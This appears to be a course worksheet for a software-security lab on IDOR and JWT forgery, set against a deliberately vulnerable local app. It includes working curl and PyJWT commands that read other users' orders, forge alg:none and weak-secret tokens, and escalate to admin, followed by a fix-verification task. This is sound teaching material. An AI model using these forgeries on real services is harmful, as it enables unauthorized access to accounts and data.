Skip to main content

All weeks · Overview · Attack notes · Lecture slides

Week 6 · Worksheet

Worksheet 6 — Authentication, Sessions & Access Control (3 hrs)

Contents8 sections

Course: Software Security (KOSEN69) · Week 6 Aligned: OWASP 2025 A01 Broken Access Control, A07 Authentication Failures · CWE-639 (IDOR), CWE-347 (improper signature verification), CWE-321 (weak hardcoded key) Signature games: 🗺️ IDOR Treasure Hunt — walk the oid numbers to loot orders that aren't yours · 🔏 JWT Forgery — mint a token you were never given.

⚠️ Ethics note: Forging tokens and accessing other users' objects is only legal in this sandbox (vulnerable_app.py) and your own Juice Shop. Doing it to a real service is unauthorized access. Keep all activity inside http://localhost:8080.

Part 1 — Student Information

NameStudent IDDateGroup

Diagram of one request passing two gates: Gate 1 authentication accepts an alg:none forgery, a weak-secret forgery, and alice's real token, then Gate 2 authorization fails to check ownership so alice's valid token reads bob's /api/orders/2 as IDOR, with the solution_app.py fixes for both.

Part 2 — Lecture Questions

Answer in 2–4 sentences each.

  1. Distinguish authentication from authorization. In vulnerable_app.py, get_order calls current_user() but ignores its result (L63) — which of the two is missing?
  2. What is IDOR (CWE-639)? Why is /api/orders/<oid> exploitable, and what single check in solution_app.py (L64) closes it?
  3. Explain the alg:none JWT attack. Why does listing "none" in algorithms=[...] (L55) let an attacker submit an unsigned token?
  4. Why is the hardcoded HMAC secret "secret" (CWE-321) dangerous even if alg:none were disabled? How does a strong random secret + pinned algorithm defend the token?
  5. What do the JWT claims exp and aud add, and why does the secure version reject tokens that lack them?

Part 3 — Hands-on Lab (150 min)

Learning goals: exploit IDOR, forge JWTs two ways (alg:none and weak secret), then prove solution_app.py enforces ownership and rejects forged tokens. Steps mirror attack.md.

Prerequisites: Docker + Docker Compose, curl, python3 with pyjwt, optionally Burp Suite. Working dir: labs/week06-authn-authz/.

Environment setup

cd labs/week06-authn-authz
docker compose up            # python:3.12-slim + flask + pyjwt, runs vulnerable_app.py
# vulnerable app -> http://localhost:8080   (service name: authz-lab, port 8080)

Optional secondary target / proxy:

docker run --rm -p 3000:3000 bkimminich/juice-shop       # -> http://localhost:3000
# Burp Suite: put the proxy listener AND the browser proxy on 127.0.0.1:8081.
# NOT 8080 — the lab app already owns host 8080 (docker-compose.yml, "8080:5000").
# Burp's own default listener is 8080, so you must change it: leave it there and
# either the listener refuses to start ("Address already in use") or, if it does
# bind, the browser's proxy address is the target's address and every request
# goes straight to the app instead of through Burp — you intercept nothing.

What to submit per task: the exact command/token, a screenshot of the JSON response, and a 2–3 sentence mitigation.


Task 0 — Onboarding (5 min). Get alice's token (from attack.md):

TOKEN=$(curl -s -X POST http://localhost:8080/login \
  -H 'Content-Type: application/json' \
  -d '{"user":"alice","pw":"alicepw"}' | python3 -c 'import sys,json;print(json.load(sys.stdin)["token"])')
echo "$TOKEN"

Confirm /api/orders/1 returns alice's Laptop order. Deliverable: screenshot of the token + order 1.

Task 1 — IDOR Treasure Hunt (30 min) 🗺️.

  • Goal: read bob's order with alice's token.
  • Steps:
  curl -s http://localhost:8080/api/orders/1 -H "Authorization: Bearer $TOKEN"   # yours
  curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $TOKEN"   # bob's — leaks!
  • Deliverable: both responses + screenshot of bob's Phone order + why the missing ownership check (CWE-639) is the root cause.
Editing a JWT: base64url is encoding, not sealing (Week 6) — open full size

Task 2 — JWT Forgery via alg:none (30 min) 🔏.

  • Goal: impersonate bob with an unsigned token (no secret needed).
  • Steps:
  FORGED=$(python3 - <<'PY'
  import jwt
  print(jwt.encode({"sub": "bob"}, key="", algorithm="none"))
  PY
  )
  curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $FORGED"
  • Deliverable: the forged token + screenshot of the accepted response + explanation of the none flaw (CWE-347).

Task 3 — JWT Forgery via weak secret (30 min) 🔏.

  • Goal: sign a valid HS256 token because the secret is the guessable string secret (CWE-321).
  • Steps:
  FORGED2=$(python3 - <<'PY'
  import jwt
  print(jwt.encode({"sub": "bob"}, "secret", algorithm="HS256"))
  PY
  )
  curl -s http://localhost:8080/api/orders/2 -H "Authorization: Bearer $FORGED2"
  • Note: recent PyJWT prints an InsecureKeyLengthWarning to stderr because "secret" is only 6 bytes — that is expected, the token still mints and is accepted.
  • Deliverable: token + screenshot + 2–3 sentences on why secret strength + key management matter.

Task 4 — Privilege escalation to admin via a forged token (25 min) 🔏.

  • Goal: read the admin-only flag at /api/admin — a page IDOR cannot reach: there is no object id to walk, and there is no admin account you could log in as (USERS has only alice and bob). The only way in is to forge your identity.
  • Steps: forge a token claiming sub=admin (either technique from Task 2/3 works — alg:none or the weak "secret"), then call /api/admin:
  FORGED=$(python3 - <<'PY'
  import jwt
  print(jwt.encode({"sub": "admin"}, key="", algorithm="none"))
  PY
  )
  curl -s http://localhost:8080/api/admin -H "Authorization: Bearer $FORGED"

You should get FLAG{...}. Then confirm alice's real token gets 403 forbidden on the same endpoint — proof the server's role check (if user != "admin") is fine; the break is purely that authentication accepted a forged identity.

  • Deliverable: the forged token + screenshot of the flag + the 403 for alice's real token, and 2–3 sentences: why IDOR can't reach this (horizontal access vs. vertical privilege escalation), and why the app's own if user != "admin" check didn't save it.

Task 5 — Defend / fix it (30 min) 🛡️.

  • Goal: prove solution_app.py blocks Tasks 1–4.
  • Steps: stop the vulnerable container (Ctrl-C), then:
  docker compose run --rm --service-ports authz-lab bash -c "pip install --no-cache-dir flask pyjwt && python solution_app.py"

Re-run: get a fresh alice token, then re-fire each attack. Expected: /api/orders/2 with alice's token → 403 forbidden (ownership check, L64); the alg:none token → 401 invalid token (algorithm pinned to HS256, L50); the "secret" token → 401 (strong random secret + required aud/exp, L10/40). For Task 4, /api/admin with a forged sub=admin token → 401 — the same current_user() fix (L50) rejects the forgery before the role check runs, so one fix closes every endpoint; alice's real token still gets 403 there (she isn't admin).

  • Deliverable: screenshots of the 403 and the 401s (orders and /api/admin) + name the fix line for each.

Part 4 — Reflection

  1. CWE/OWASP mapping: map IDOR → CWE-639 / A01, the JWT forgeries → CWE-347 & CWE-321 / A07.
  2. Real breach: the 2022 Optus breach exposed millions of customer records via an exposed/poorly-authorized API endpoint where identifiers could be enumerated — a textbook broken-access-control / IDOR-style failure. In 3–4 sentences connect it to Tasks 1 and 4 of this lab. (Alternative: the Peloton API IDOR disclosure.)
  3. Best mitigation: between deny-by-default ownership checks, pinning the JWT algorithm, and a strong managed secret, which control protects the most attack surface here, and why is server-side authorization non-negotiable?

Grading rubric (100)

CriterionPoints
Part 2 — Lecture questions (conceptual accuracy)20
Part 3 — Exploitation + evidence (payloads/tokens + screenshots, Tasks 1–4)40
Part 3 — Defense (Task 5: fixes proven, lines cited)25
Part 4 — Reflection (CWE/OWASP mapping, breach, mitigation)15
Total100

Evidence & Integrity (required)

  • Identity proof: every screenshot/diagram must show a terminal running printf '%s | %s | ' "$(whoami)" '<YOUR-STUDENT-ID>'; date '+%F %T %Z' in the same image as the evidence. When the evidence is a browser page, a DevTools panel or a rendered response, put that terminal beside the browser and capture the whole screen — a cropped window carries nothing that identifies you, and the lab's own output is byte-identical for the whole cohort by design, so the stamp is the only thing that makes the shot yours. Generic or borrowed evidence is not accepted.
  • Personalized flag (if this lab issues one): ____________________ Flags are unique per student — submitting another student's flag is a violation. How to submit: learn.zcr.ai/submit (full guide: SUBMISSION.md in the repo root).
  • Explain in your own words (graded on your reasoning, not copied text):
  1. What did you do, and why did the vulnerability work?
  2. Why does your fix actually stop it — and what could still break it?

🤖 Audit the AI (required)

AI is a power tool you must distrust — you are graded on your critique, not the AI's answer.

  1. Ask an AI assistant to exploit or fix this week's vulnerability. Paste its full answer.
  2. Find what's wrong or risky in it — insecure code, a subtly incomplete fix, a hallucinated API/function/CVE, a missed edge case, or wrong reasoning. Quote the exact line(s).
  3. Produce the correct, verified version yourself and explain in 2–3 sentences why the AI's output was insufficient.

Disclose your AI use in the Part 1 table. This task counts toward your Defense + Reflection score.


🧠 Comprehension & Prompt (required)

A. Explain in Plain English (EiPE). In 2–3 sentences, in your own words, describe what this week's vulnerable code/endpoint actually does and why it is exploitable — explain the mechanism, don't dump jargon.

B. Prompt Problem. Write a single prompt that makes an AI produce a correct, secure fix for one finding. Run it: does the exploit now fail? If not, refine the prompt and try again. Submit the final prompt + the verified result. Graded on the prompt's precision and your verification — this trains problem decomposition and AI literacy (Denny et al. 2024).

All weeks in Software Security